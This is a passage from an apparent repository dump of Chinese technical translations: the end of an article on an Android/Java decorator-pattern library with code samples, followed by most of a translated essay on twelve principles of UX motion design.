作为例子，但同样能用在 Fragment、Presenter 甚至 View 。这这个例子中，我们将使用 activity 生命周期中的 onCreate/onStart/onStop/onDestroy ，但是也会额外创建几个适合 RecyclerView 案例的回调。\n\n```\n    @Decorate\n    public class ActivityBlueprint extends AppCompatActivity {\n\n        @Override protected void onCreate(@Nullable Bundle savedInstanceState) {super.onCreate(savedInstanceState);}\n        @Override protected void onStart() {super.onStart();}\n        @Override protected void onStop() {super.onStop();}\n        @Override protected void onDestroy() {super.onDestroy();}\n\n        public int getLayoutId() {return R.layout.recycler_view;}\n        public RecyclerView.LayoutManager getLayoutManager() {return new LinearLayoutManager(this);}\n        public RecyclerView.Adapter getAdapter() {return null;}\n        public void setupRecyclerView(RecyclerView recyclerView, WrapAdapter wrapAdapter, RecyclerView.Adapter adapter) { /**/ }\n\n        public interface DataInstigator {\n            RealmList getList();\n            RealmObject getData();\n        }\n\n        public interface RequestInstigator {\n            void reload();\n            void loadMore();\n        }\n    }\n```\n\n这个简单的蓝图使用 `@Decorate` 注解，将会生成完整的修饰模式实现，`Serializable` builder 类可以作为参数传递。为了完成 Activity 的实现，我们扩展了生成类，并将 received builder 绑定上去。\n\n```\n    public classRecyclerViewActivityextendsDecoratedAppCompatActivity{\n\n        @Overrideprotected void onCreate(Bundle savedInstanceState) {\n            bind(getBuilder(getIntent().getSerializableExtra(KEY.BUILDER)));\n            super.onCreate(savedInstanceState);\n            setContentView(getLayoutId());\n            RecyclerView rv = (RecyclerView) findViewById(R.id.recycler);\n            rv.setLayoutManager(getLayoutManager());\n            RecyclerView.Adapter adapter = getAdapter();\n            WrapAdapter wrapAdapter = newWrapAdapter(adapter);\n            rv.setAdapter(wrapAdapter);\n            setupRecyclerView(rv, wrapAdapter, adapter);\n        }\n\n        @Overrideprotected void onDestroy() {\n            super.onDestroy();\n            unbind();\n        }\n    }\n```\n\n现在可以方便的将职责分发到可绑定的修饰类上。每个修饰器包含所有生命周期的回调，可以实现任何可选接口。最后，可以组合得到一个简单的建造者模式：\n\n```\n      Intent i = new Intent(context, RecyclerViewActivity.class);\n            i.putExtra(KEY.BUILDER, new DecoratedActivity.Builder()\n                    .addDecorator(GridInstigator.class)\n                    .addDecorator(LoadMoreDecorator.class)\n                    .addDecorator(PhotoGridAdapter.class)\n                    .addDecorator(PhotoListInstigator.class)\n                    .addDecorator(PhotoRequestInstigator.class));\n            i.putExtra(KEY.URL, url);\n```\n\n### 完整示例应用\n\n请查看我们 Github 上的相关库和完整的示例应用 [https://github.com/eyeem/decorator](https://github.com/eyeem/decorator) 。该示例应用在开始下一步之前从当前 activity 通过简单的添加/移除修饰器来模拟每个用户在 Activity 执行 tap。\n\n上面展示的代码大部分都是出自示例。你会发现一个用 Realm 和 Retrofit 真正实现的修饰器列表，就是这篇文章开始提到的 UI 构建任务。\n\n- CoordinatorLayoutInstigator，重写了 CoordinatorLayout 的默认布局，可选实例化一个 header\n- ToolbarInstigator，接管 toolbar，并且应用一个标题\n- ToolbarUp 和 ToolbarBack 修饰器，导航工具栏上图标的行为\n- 加载更多的修饰器，添加一个无限滚动的功能到 RecyclerView\n- PhotoList 和 PhotoRequest 修饰器，本地数据存储和 API 请求图片列表 API 调用\n\n### 现实世界应用\n\n[EyeEm](https://www.eyeem.com) 已经在使用修饰器——并且体验非常好。来 [Play Store](https://play.google.com/store/apps/details?id=com.baseapp.eyeem) 看看吧。我们目前为所有 UI 元素使用 装饰 view presenters（使用 Square Mortar 库），为过渡动画使用了装饰 activities，处理不同 API 级别，A/B 测试，导航，跟踪和新摄影师入职时的少数特殊情况，\n\n### 最后说明\n\n上面所示的代码和实现纯粹只是示例，仅作为指导。\n\n当我们为 Android 创建这个库时，该模式是开放给任何用例的。这个库是一个纯 Java 实现，它在编译时生成代码，可用于任何 Java 类，我们鼓励开发人员在他们任何 Java 项目中编写模块化的单一职责的代码！来\n\n说的够多了-将[它](https://www.github.com/eyeem/decorator)添加到你的 build.gradle 中，然后开始构建模块化应用吧。\n\n\n*在 [EyeEm](https://www.eyeem.com),我们正在探索摄影和技术的交叉点。除了建立尖端的计算机视觉技术，我们的 iOS，Android 和 web 应用程序被 1800 万世界各地的摄影师用于获得灵感、 学习、 分享他们的工作，发现惊人的天赋，获得出版和展出，甚至通过我们的市场赚钱。*\n\n我们一直在寻找激情，奋发努力的工程师加入我们的使命——编码摄影的未来! [联系我们！](https://www.eyeem.com/jobs)\n"
  },
  {
    "path": "TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md",
    "content": "> * 原文地址：[Creating Usability with Motion: The UX in Motion Manifesto](https://medium.com/@ux_in_motion/creating-usability-with-motion-the-ux-in-motion-manifesto-a87a4584ddc)\n> * 原文作者：[Issara Willenskomer](https://medium.com/@ux_in_motion?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Ruixi](https://github.com/ruixi)\n> * 校对者：[cdpath](https://github.com/cdpath),[osirism](https://github.com/osirism)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*boQYFGPLtlDof3RRs124bQ.gif\">\n\n# 用动效创建的可用性：动效中的用户体验宣言 #\n\n下面这段宣言即是我对这个问题的回答——“作为一个UX或者UI设计师，在界面中，如何在合适的时间和位置通过动效的使用来支持可用性呢？” \n\n在过去的5年中，我有幸指导过来自40多个国家的 UX 和 UI 设计师，而且我为这些顶级品牌和设计咨询公司带来的建议和指导基本上都是关于 UI 动效的。\n\n通过对用户界面动效超过15年的研究，我得到的结论是：这里有12种可以利用动效来支持你的 UX 项目中的可用性的具体时机。\n\n我称这些时机为“动效中 UX 设计的12条准则”，同时它们可以以各种创新形式来进行自由组合协作使用。\n\n我将这份宣言拆分成5个部分：\n\n1. 解答 UI 动效的主题——不是你想象的那样\n2. 实时与非实时交互\n3. 动效支持可用性的四种方式\n4. 原理、技术、性能与价值\n5. 动效中 UX 设计的12条准则\n\n插播一条小广告，如果你想要我就令人激动的动效主题以及可用性在你的会议上发言或者为你的团队组织一个现场讨论的话，请移步[这里](https://uxinmotion.net/workshops-and-speaking/) 。 如果你想要在你所在城市参加课程，来[这里](https://uxinmotion.net/workshops-and-speaking/#classes) 。最后，如果你想要向我咨询你的项目，可以看看[这里](https://uxinmotion.net/consulting/) 。添加到我的列表，点击[这里](http://uxinmotion.net/joinnow) 。\n\n### 它无关 UI 动画 ###\n\n由于设计师往往认为用户界面中的动效就是 UI 动画——然而这是两回事——我觉得我有必要在12条法则之前插入一段情境。\n\n设计师们通常会觉得 UI 动效的使用可以让用户体验显得更加生动愉悦，但总体上并没有增加什么价值。所以呢，UI 动效总是姥姥不疼舅舅不爱的。就算有，也是排在最末位的，不足挂齿。\n\n此外，在用户界面语境下的动效被认为是迪士尼的12条动画原则下的，我在‘[UI 动画原则——迪士尼已死](https://medium.com/@ux_in_motion/ui-animation-principles-disney-is-dead-8bf6c66207f9) ’一文中对这一观点进行了反驳。\n\nUI 动效对于“动效中 UX 设计的12条法则”来说就像是建筑物中的架构。我希望在我的宣言中用这个作为实例。\n\n我的意思是，当一个结构需要实际地建立时（需要构造），决定导向建造**什么**的那只手来源于原则范畴。\n\n动效的一切都和工具相关。原则对工具使用方法的实际应用进行指导，为设计师们提供优势机会。\n\n大多数设计师认为的“UI 动效”实际上也是一种高级设计手法：时效和非时效性事件中界面元素的时序表现。\n\n\n### 实时交互 vs 非实时交互 ###\n\n在这个非常时刻，区分“情景”和“行为”就很重要了。UX 中的**情景**基本上是静态的，就像一个设计合成品。UX 中的**行为**从根本上来讲则是时序化的，基于运动。一个对象可以处于被屏蔽的**情景**中，或者被屏蔽的**行为**中。如果是后者，我们知道它涉及到运动，而且是能够支持可用性的。\n\n此外，交互中的所有时序化行为都可以被认为发生在实时或者非实时。实时意味着用户可以直接于用户界面中的元素进行交互。非实时意味着对象行为是后交互的：它发生在用户动作**之后**，以及过渡之中。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*5FaCRpgM0oUwiqc_j_mL3w.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*SRLhjyyJA43ELZ65Zu6o4w.gif\">\n\n这是一个重要的区别。\n\n实时交互也可以理解为“直接交互”，用户可以直接迅速地与界面对象进行交互。界面行为在**用户使用的同时发生**。\n\n非实时交互只发生在用户输入**之后**，而且有暂时锁定用户体验的效果，直到过渡阶段完成。\n\n了解这些差异会帮助我们理解 UX 动效的 12 法则\n\n### 动效支持可用性的4种方式 ###\n\n这四个核心代表着时序性用户体验支持可用性的四种方法。\n\n#### 期望 ####\n\n期望分为两大领域——用户如何感知对象**是什么**，以及它表现出了**何种行为**。换句话说，作为设计师，我们期望尽可能缩小用户期望和用户体验之间的差距。\n\n#### 一致性 ####\n\n一致性代表着用户流以及用户体验的“一致”。一致性也可以理解为“内部一致性”——场景内和场景间的一致。一系列场景的一致性构成了用户体验。\n\n#### 叙述 ####\n\n叙述是用户体验中时间框架内事件的线性进展。它可以被认为是一系列被认真考虑以连接整个用户体验的时刻和事件。\n\n#### 关联 ####\n\n关系是指空间，时间，和层次表示之间引导用户理解和决策的界面对象。\n\n### 准则、技术、特性和值 ###\n\n[Tyler Waye](http://tylerwaye.com/learning-to-learn-principles-vs-techniques/) 这话就和他之前写过的一样好：“准则……是提升技术的基本功能前提和潜在规则。无论发生了什么，这些元素都保持一致。” 重申，原则是不可知的设计。\n\n这样，我们可以想象一个层次结构：准则位于顶层，技术在下一层，接着是性能，最下层的则是值。\n\n**技术**可以认为是原则或原则组合的各种无限制的执行。我觉得技术类似于“风格”。\n\n**特性**则是特定的对象因素来将技术转化为现实。这些包括（但不限于）位置、不透明度、比例、旋转角度、定位点、色彩、笔画宽度、形状等等。\n\n**值**是随时间而变化的实际数值属性值，用以创建我们所称的“动画”。\n\n所以在这里先停一下（再往前说一点），我们可以说一个假想的动画参考是利用遮罩和“毛玻璃”技术：模糊 25px，不透明度 70%。\n\n现在我们有些可利用的工具。更重要的是，有些语言工具对于任何其他特殊原型工具来说都是不可知的。\n\n\n### UX 动效中的12原理 ###\n\n缓动、偏移和延迟都和**时间**有关。父子关系涉及到的**对象关系**。变形、值变化、遮罩、覆盖和生成都与**对象一致性**有关。视差与**时态层次**有关。蒙层，多维化以及镜头平移与缩放都与**空间一致性**有关。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*FQwVeyJ8pxngEGAxruGW-A.jpeg\">\n\n#### **原理1:缓动** ####\n\n**当时序事件发生时，对象行为与用户期望一致。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*KcWZCCOMr7QrFpqxWirtMw.gif\">\n\n所有界面对象表现出时间的行为（无论是实时或非实时），都很舒缓。缓动营造并加强用户体验的“自然主义”内在，并在对象表现**符合用户期待时**营造出一种统一连续的感觉。**顺便一说**，**迪士尼把这叫做“[缓进缓出](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Slow_In_and_Slow_Out)**”。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*NBmptOO9ZTC9bQ-98-mWcg.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*HwK2vxdY0vveZdvqoEY_8w.gif\">\n\n左边有直线运动的例子看起来很“糟糕”。上面的第一个有**缓动**动效的例子看起来“很好”。 上述三个例子都有相同数量的帧，而且时长完全相同。唯一的区别就是它们的舒缓度。\n\n作为设计师来思考可用性，我们需要对自身严格要求，提出疑问，美感角度之外，哪个例子对可用性支持来说更好？\n\n我这里呈现的例子是一定程度的拟物设计更为自然舒缓。你可以想象一个“缓动梯度”，即低于用户期望的行为导致更差的可用性交互。在恰当的缓动的动效案例中，用户体验动效本身是不着痕迹的，几乎难以察觉——这很棒，因为它不会因此而**分散注意力**。线性运动很明显，感觉也有一些……不完善，不和谐，让人分神。\n\n现在我将在这里彻底反驳我（刚才）的观点，谈谈右边的例子。动效并**不是**不着痕迹的。实际上，它的感觉是被“设计”过的。我们注意到这个对象是如何停顿的。它给人的感觉很不一样，然而它还是比直线运动的例子感觉上更“对劲”。\n\n你能在不再支持（甚至破坏）可用性的状况下依然坚持利用缓动吗？答案是会。而且有很多种方法。一种是设定时间。如果你的时间设定得太慢（大概借用一下 [Pasquele](https://medium.com/@pasql) ），或者太快，体验就会被破坏，而且分散掉用户的注意力。同理，如果你的缓动效果偏离了品牌或者是综合体验的话，也会对体验和无缝感带来负面影响。\n\n我想给你看的是一个在提到缓动之时充满机会的世界。也有字面意思上的“舒缓”，作为一个设计师，你可以在无数项目中进行实践。所有的这些宽松都有自己在用户触发时有自己期望的响应。\n\n总结：什么时候使用缓动方式？任何时候。\n\n#### 原理2:分隔&延迟 ####\n\n**在引入新元素和场景时定义对象关系和层次结构。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*7rRMvWTms2t7FnR0kyJN3g.gif\">\n\n分隔和延迟是 UI 动画两大原则中的第二个，它深受迪士尼动画原则的影响，这里出自“[动作跟随与重叠](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Follow_Through_and_Overlapping_Action)。”\n\n这一点很重要，值得注意。然而，这种操作在执行中也有相似之处，目的和结果不同。迪士尼的原则指导出了“更吸引人的动画”，而 UI 动效原则引导了更具可用性的体验。\n\n这个原则的作用是可以通过告知用户界面中界面的性质来预先进行成功设置。上面提到的叙述是：上面两个对象是统一的，底层的则是分开的。也许前两个对象会是一个非交互的图像或者文本，而底层对象是个按钮。\n\n甚至在用户了解这些对象都**是什么**之前，设计师们已经通过动效传达给 ta 了：这些对象都是“分开的”。这就很厉害了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*CCRJjHIyq4PKECbmpUM3rA.gif\">\n\nCredit: [InVision](https://dribbble.com/InVisionApp)\n\n在上面的例子中，浮动按钮（FAB）成了包含三个按钮的主导航元素。因为按钮之间相互“独立”，它们最终通过自己的“独立”来支持可用性。换言之，设计师在利用时间本身来说明——甚至在用户了解这些对象都是什么之前——这些对象是相互独立的。这有告知用户界面中对象部分性质的效果，完全独立于视觉设计。\n\n为了更好地给你展示它是如何工作的，我会给你举一个没有依照分隔与延迟原则的例子。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*DJHXB3kDHesSwHxLYeJyFg.gif\">\n\nCredit: [Jordi Verdu](https://dribbble.com/jordiverdu)\n\n在上述案例中，静态的视觉设计告诉我们背景上有图标。假设图标都是分开的，有不同的功能。但动画和这个是矛盾的。\n\n图标被暂时分组成行而且被认为是单一的对象。它们的标题也同样被列为行，也表现为单一对象。这个动画告诉用户的是眼睛看不到的东西。在这中情况下，我们可以说，这时此界面中的对象不可用。\n\n#### 原理3:父子关系 ####\n\n**在多个对象交互时创造时间和空间层次关系。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*AK-IvsnBGJFVwZnqxYjqrQ.gif\">\n\n父子关系是一个意义重大的原则——“串联”用户界面中的对象。在上面的例子中，顶部的“比例”和“定位点”属性或者底部的“子对象”，以及“父对象”都是如此\n\n父子关系是对象属性与其它对象属性的连接。这可以创建对象关系和层次结构，以支持可用性。\n\n父子关系还可以让设计师们能够在向用户穿搭对象关系性质的时候更好的协调用户界面中的时间事件。\n\n再想想那些包括以下这些在内的对象属性——比例、透明度、定位点、旋转角度、形状、颜色、数值属性，等等。这些属性中的任何一个都可以与其它属性连接，并在用户体验中营造出协调的情景。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*vAAs4k5reIuVNx9KFoZCCw.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*oEKY3b97GnxizyVO2Bdglg.gif\">\n\nCredit: [Andrew J Lee](https://dribbble.com/lee_aj) , [Frank Rapacciuolo](https://dribbble.com/frankiefreesbie) \n\n在上面左边的例子中，“面”元素的“y 轴”属性就是圆指针“x 轴”属性的“子级”。当圆指针沿水平方向运动时，它的“子元素”沿水平方向垂直移动(while being Masked — another Principle).\n\n其结果是同一层次同一时空的描述框架同时发生。 值得注意的是，“面”的对象数值都被分别 “锁定”，“面”是完全不可见的。用户体会到了无缝的感觉，尽管在这个例子中我们可以说这是一个微妙的“可用性骗局”。\n\n继承性功能最好作为实时交互。当用户直接操纵界面对象时，就是设计者在通过动画与用户交流——对象是如何连接的，以及它们之间是何种关系。\n\n父子关系有三种形式：“直接联系”（看上面的两个例子），“延迟的联系”，和“相反的联系”‘（往下看）。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*RsyF9JEfaM1evRFPmhMAjA.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*l2a36kW3kgkYgPZRfDqhog.gif\">\n\n延迟的联系 (Credit: [AgenceMe](https://dribbble.com/AgenceMe) ) 和 相反的联系 (Credit: [AgenceMe](https://dribbble.com/AgenceMe) )\n\n#### 原理4:变形 ####\n\n**在对象作用发生变化时，创建一个连续的叙事流状态。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3obIWzQMTkX74ndGcmW_eg.gif\">\n\n很多人已经写过了 UX 动效原则中的“变形”。在某些方面，这是最明显最容易被看到的动画原则。\n\n变形非常明显，因为它很突出。我们可以看到一个“提交”按钮的形状变成了一个横向的进度条，并且最终变成了确认检查的标志。它抓住了我们的注意，讲述了一个事件，并最终完成。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*JNE8gIhMViaL-Yri9SiCjg.gif\">\n\nCredit: [Colin Garven](https://dribbble.com/ColinGarven) \n\n变形的作用是在不同的 UX 状态或者“这是”（就像**这是**一个按钮，**这是**一个横向进度条，**这是**一个复选标记）之间为用户提供无缝过渡。这最终都会导致预期的结果。用户被安排通过这些功能来达到最终目的。\n\n“模块”的变化产生的影响适当地将用户体验中的关键时间点分离成为一个无缝和连续的事件序列。这种无缝的体验会带来更好的用户感知，记忆，以及后续行为\n\n#### 原理5:数值变化 ####\n**当值的主体发生变化时，产生动态的、连续的叙事关系。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3IWEaIssuoLSu4U7Y-hdgQ.gif\">\n\n基于文本的界面对象，即数字和文本，可以改变它们的值。这就是“难以察觉的寻常“中的一个。\n\n文本和数字的变化太过常见，以至于它们可以在我们未曾区分并谨慎评估它们在支持可用性中的角色的时候就被它们越过了。\n\n那么，值发生变化时的用户体验是什么？在用户体验中，UX 动效的12法则是支持可用性的有利条件。这里的三个条件连接用户与数据背后的**现实**，有代理的意思，以及值本身的动态特性。\n\n我们看看 dashboard 的例子。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*Ek1bbmWLyMJU5wQiMZCSJA.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*fY2GeYo6Uj0l9qziupfn3Q.gif\">\n\n当基于数值的界面对象在没有**数值变化**时加载，传递给用户的数字是静态对象。它们就像是显示限速每小时55英里的油漆标志牌。\n\n数字和值都是**事实**发生的事件的表征。这个事实可以是时间、收入、游戏分数、商业指标、运动跟踪。我们通过动画来区分的是动态的“值的主体”，以及那些反映了动态值的集合的某些东西。\n\n这种关系不仅失去了静态对象的视觉价值，也失去了一个更深层次的有利条件。\n\n当我们采用基于动态值的形式来进行动态系统陈述的时候，它触发了一种“神经反馈”。用户掌握了他们的数据的动态属性。现在可以通过授权**代理**来改变这些数值。当值为静态的时候，它与其背后的**事实**联系较少，用户失去了**代理权**。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*FmT4vosDI453IK0aJbuW9Q.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*2LB6MevUJaYZdRYg39T3Qw.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*TFFz9-Zl1UIUWRlc1rY11Q.gif\">\n\nCredit: [Barthelemy Chalvet](https://dribbble.com/BarthelemyChalvet), [Gal Shir](https://dribbble.com/galshir) , Unknown\n\n在实时和非实时事件中都可能出现数值变化。在实时事件中，用户与对象交互来更改值。在非实时事件中，比如加载和转换，值的变化来源不靠用户的输入来反映动态叙述。\n\n#### 原理6:遮罩 ####\n\n**在功能取决于对象或组的哪一部分显示或隐藏时创造一个界面对象或者一组对象的连续性。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Ah_FBCcqm7YsqChgz-GYOA.gif\">\n\n遮罩请求的**表现**可以被认为是对象的形状和它的功能之间的关系。\n\n因为设计师们对静态设计的情景下对这招很熟悉，我们应当区别 UX 动效准则“遮罩”出现的时间。作为一种**表现**，而非**状态**。\n\n利用显示和隐藏对象来使用时序化，功能的连续，以及无缝转换。这也有保持叙事流的效果。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*OSe67jIPfPzgaSODFaJ5gg.gif\">\n\nCredit: [Anish Chandran](https://dribbble.com/anish_chandran) \n\n在上面的例子中，顶部图片的形状和位置发生了变化，而非内容，它变成了一张专辑。这具有改变对象**为何物**的作用，同时保留被掩盖的内容——**相当巧妙的把戏**。它是非实时发生的，作为一个变化，在用户动作之后才回被激活。\n\n记住，UI 动画原则的出现具有时序性，通过对连续性、叙事性、相互关联和期望来支持可用性。在上面所提到的内容里，当对象本身保持不变的时候，也会有边界和位置，而这两个要素则决定了对象是什么。\n\n#### 原理7:覆盖 ####\n\n**在分层对象的位置有关联的时候营造叙事和视觉的平面对象空间关系。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*XCEmrzdTIbLt0a37pj0nBQ.gif\">\n\n覆盖通过允许用户利用平面排序功能克服空间层次的缺乏来支持可用性。\n\n为了安全着陆，覆盖让设计师通过动画来联系位置相关的排在后面或者前面的非3D空间中的对象。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*g-MHVlWPL1RF1W4UZIk6Qg.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*KV5hGH2CVcPQ_e7dfpKsuw.gif\">\n\nCredit: [Bady](https://dribbble.com/bady), [Javi Pérez](https://dribbble.com/javiperez) \n\n在左边的案例中，前景对象滑到了右侧来显示背后的附加对象的位置。而在右边的案例中，整个场景向下滑动来显示附加的内容和选项（同时还利用了分隔和延迟的准则来传达照片对象的特征）。\n\n某种程度上来说，作为设计师，“层”的概念实在是不言自明。利用层和层的概念来做设计对于我们来说已经被深深内化了。然而，我们必须小心区别“创造”和“使用”的过程。\n\n作为不断从事“创造”过程的设计师，我们对我们所设计的对象的每个部分（包括被隐藏的部分）都很了解。但作为用户，那些视觉和认知层次上都不可见的部分是定义和实践。\n\n覆盖原则允许设计师表达“Z 轴”定位层之间的关系，以促使空间定位到他们的用户。\n\n#### 原理8:生成 ####\n\n**在新的对象产生和消失的时候，创造连续性，关联，和叙事。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*XhtrzHD5PBpHKuhoJqB7fQ.gif\">\n\n在当前场景中创建新的对象时(来自当前对象)，叙事性地解释其外观尤为重要。在这份宣言中，我强调了创建一个叙事框架的对象起源和出发的重要性。仅仅是对不同明度的调整达不到这种效果。遮罩、生成、以及数值的变化是三种基于可用性来产生强烈叙事性的方法。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*UsnQMriM_Bjz480Ob70egg.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*2tUFeu74yCK-BhXjoTZrEQ.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*knAuRUPJFue8Z-nvxH2bUQ.gif\">\n\nCredit: [Jakub Antalík](https://dribbble.com/antalik) , [Jakub Antalík](https://dribbble.com/antalik) , Unknown\n\n在上面的三个例子中，新的对象是在用户的注意力集中在这些对象上时，以现有的主要对象（为基准）创建的。这两个方法——注意力的引导，然后引导眼睛通过生成新的对象——具有沟通的清晰和明确的事件链的有力作用：动作“X”导致了创建新的子对象的“Y”结果。\n\n#### 原理9: 蒙层 ####\n\n**允许用户空间层次而不是在主视觉层次中定位自己的对象或场景的关系。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*dYmhIISFfqIh-w5hMD8-aw.gif\">\n\n和 UX 相关的动效原理中的遮罩类似，蒙层同样作为一个静态的暂时现象。\n\n这可能会让那些没有短暂思考经验的设计师感到混乱——就是在时刻**之间**的时刻。设计师通常所做的设计是屏幕到屏幕或任务到任务。可以将蒙层看做是遮蔽的**行为**，而非被遮蔽的**状态**。静态设计代表被遮的状态。引入时间给我们一个物体被遮的行为。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*HrfgNmRzM5VrL0x4xKmGPg.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*QX9BrprmQkvccsKaep_otA.gif\">\n\nCredit: [Virgil Pana](https://dribbble.com/virgilpana), [Apple](http://www.apple.com/)\n\n从上面两个例子中，我们可以看到，**看起来像**透明物体或覆盖物的蒙层，也是一个同时涉及多个属性的即时互动。\n\n其中的模糊效果和减少对象整体的透明度设计到各种常见的技术。使用户理解这是她正在操作的一个另外的非主要情景——是另一个世界，就在她的主对象层次**之后**。\n\n蒙层使设计者能够在用户体验中对单一统一的视野，或**目标导向**进行补充。\n\n#### 原理10:视差 ####\n\n**在用户滚动界面时创造视觉空间层次。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*tVCAaCgws_1Q2u8ViQ6z6w.gif\">\n\n“视差”作为一个 UX 动效原理之一，指界面中的不同对象以不同的速度移动。\n\n视差允许用户专注于主要行动和内容，同时保持设计的完整性。背景元素在一个视差事件中为用户“提供”感知和认知。设计师可以使用视差分离出即时内容从环境或支持的内容。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*flKRcXTaSjJ9eyGAIIx4Aw.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*BssDbeOCt1sXpfkh2WxdKw.gif\">\n\nCredit: [Austin Neill](https://dribbble.com/austinneill), [Michael Sevilla](https://dribbble.com/SVLA) \n\n这对用户的影响，是明确定义**持续时间的互动**，各种对象的关系。前景对象，或移动“更快”的对象被认为离用户“更近”。同样，背景对象或对象移动“慢”被认为是“更远”。\n\n设计人员可以利用时间来创建这些关系，告诉用户界面中的哪个对象具有更高的优先级。因此，将背景或非交互元素进一步“推回”是很有意义的。\n\n不仅用户感知的界面对象在视觉设计中具有层次区分，这种层次结构现在可以利用来让用户在意识到设计内容之前掌握用户体验的**本意**。\n\n#### 原理11：多维化 ####\n\n**当新的对象的产生和消失的时候提供了一个空间叙事框架。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*f6MiFmeYfXqGim9Vo8ymwg.gif\">\n\n用户体验的关键是连续性的现象，以及对位置的感知。\n\n多维化提供了克服用户体验的二维世界，非逻辑的有力途径。\n\n人类非常善于利用空间框架来引导现实世界和数字世界中的体验。提供空间的起源和偏离参考有助于加强用户在用户体验中的心理模型。\n\n此外，多维化原则在同一平面上的物体存在缺乏深度，发生在其它对象的“前面”或“后面”（的问题）上克服了视觉平面中的分层悖论。\n\n多维化以三种方式呈现——折纸维度，浮动维度，以及对象维度。\n\n**折纸维度**可以被认为是在“折叠”或“翻转”三维界面对象。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*iZuMzfPgGwH_im_9Ofb5vg.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*II33u0hSsLFblYSCQhfxMA.gif\">\n\nExamples of Origami Dimensionality (Credit: [Eddie Lobanovskiy](https://dribbble.com/lobanovskiy) , [Virgil 